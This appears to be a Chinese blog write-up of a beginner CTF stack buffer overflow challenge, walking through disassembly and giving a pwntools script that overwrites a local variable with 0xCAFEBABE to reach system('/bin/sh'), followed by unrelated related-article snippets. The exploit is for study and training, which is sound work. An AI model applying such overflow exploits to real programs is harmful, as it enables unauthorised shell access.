1.Buffer_Overflow-2.Stack_Overflow / 写入字符串

news/2024/11/17 7:29:01/

这道题虽然简单 但是却给我了另一个解题的看法

我们先进行运行

我们看看保护

 发现只有NX保护

反汇编看看

 发现有shellcode 但是我们没有办法执行shellcode 因为v5 不会等于后面的

这里我原本没有想法 后面进行看看他的汇编

 这里其实就很清楚了

.text:00000000004011BB                 mov     eax, 0CAFEBABEh
把这个数值放入eax中  这个数值转换为10进制 就是 3405691582.text:00000000004011C0                 cmp     [rbp+var_8], rax
进行比较
.text:00000000004011C4                 jnz     short loc_4011D7
如果不相同 就进行跳转 到下面的loc_4011D7 这里
.text:00000000004011C6                 lea     rdi, command    ; "/bin/sh"
如果相同 就是执行shellcode
.text:00000000004011CD                 mov     eax, 0
.text:00000000004011D2                 call    _system
.text:00000000004011D7
.text:00000000004011D7 loc_4011D7:                             ; CODE XREF: main+72↑j
.text:00000000004011D7                 mov     eax, 0
如果不相同 到这里的话就是退出了
.text:00000000004011DC                 leave
.text:00000000004011DD                 retn

我们发现我们写入的应该是多少后 我们应该确定垃圾字符的大小

因为如果和以前一样 在ret上写入 就不会返回 因为这次我们写入的是字符串 不是函数

没有自带返回

所以我们还是需要通过 gets的ret返回

我们继续看看

 

 我们在这里能发现  原来v5的地址在 rbp+var_8

进入 发现 var_8就是8 所以我们只需要将垃圾字符覆盖到 var_8

然后写入0CAFEBABEh   通过if判断 即可

这题我们就做完了

exp

from pwn import *
p=process('./buf2')
payload=b'A'*(0x20-0x08)+p64(0xCAFEBABE)
p.recvuntil("?\n")
p.sendline(payload)
p.interactive()

这里 recvuntil就是到?\n进行输入

其实就是我们输入的时候输入

这题不一样就是 通过看汇编 还有写入的是字符串


http://www.ppmy.cn/news/73388.html

相关文章

如何让你的 Jmeter+Ant 测试报告更具吸引力?

目录 引言 一、安装apache-Ant 二、Jmeter准备 3、生成测试报告 4、JMeter动态参数处理逻辑是什么? 5、JMeter是怎么做API自动化测试的? 结语 引言 想象一下,你辛苦搭建了一个复杂的网站,投入了大量的时间和精力进行开发和…

Linux 安装MySQL-5.7.30

本文总结在Linux上安装mysql数据库的方法以及遇到的问题。使用的环境信息 MySQL 5.7.30CentOS Linux release 7.6.1810 (Core) 1.官网下载MySQL 进入官网https://www.mysql.com/ 从下载页面下载社区版本其中社区版本免费,免费的午餐不提供技术支持. 页面中MySQL E…

第三十七章 弹灵守则第三十七条

“要不要一起玩?”那个跳来跳去的小男孩冲巴哥奔嘻嘻一笑。 “唔~” “很简单,这叫做玛丽的房间。”小男孩突然从她头顶跃过,脚尖点到她身后一块灰色方格。 “亮灰。” “D3D3D3。” “哈哈,你错了!”头顶扎着一根小辫…

RK3568平台开发系列讲解(驱动基础篇)RK平台RTC的使用

🚀返回专栏总目录 文章目录 一、HYM8563模块二、HYM8563模块三、接口使用3.1 sysfs 接口3.2 procfs 接口3.3 ioctl 接口沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇将对RK RTC的使用进行学习。 一、HYM8563模块 ROC-RK3568-PC开发板采用HYM8563作为RTC(Rea…

usb摄像头驱动-core层USB集线器(Hub)驱动

usb摄像头驱动-core层USB集线器(Hub)驱动 文章目录 usb摄像头驱动-core层USB集线器(Hub)驱动usb_hub_inithub_probehub_eventport_eventhub_port_connect_changehub_port_connectusb_new_deviceannounce_device 在USB摄像头驱动中…

二分查找怎么写? 你真的弄懂二分查找了吗

大家好,我是三叔,很高兴这期又和大家见面了,一个奋斗在互联网的打工人。 二分查找是一种高效的查找算法,也是Java中最基础的算法之一,常用于已排序数组中的元素查找。本篇博客将介绍二分查找的原理、应用场景以及实现…

多目标优化算法求解无人机三维路径规划

一、无人机模型 无人机三维路径规划是无人机在执行任务过程中的非常关键的环节,无人机三维路径规划的主要目的是在满足任务需求和自主飞行约束的基础上,计算出发点和目标点之间的最佳航路。 1.1路径成本 无人机三维路径规划的首要目标是寻找起飞点和目…

tomcat加载顺序

一、 1、启动一个WEB项目的时候&#xff0c;WEB容器会去读取它的配置文件web.xml&#xff0c;读取<listener>和<context-param>两个结点。 2、紧急着&#xff0c;容创建一个ServletContext&#xff08;servlet上下文&#xff09;&#xff0c;这个web项目的所有部…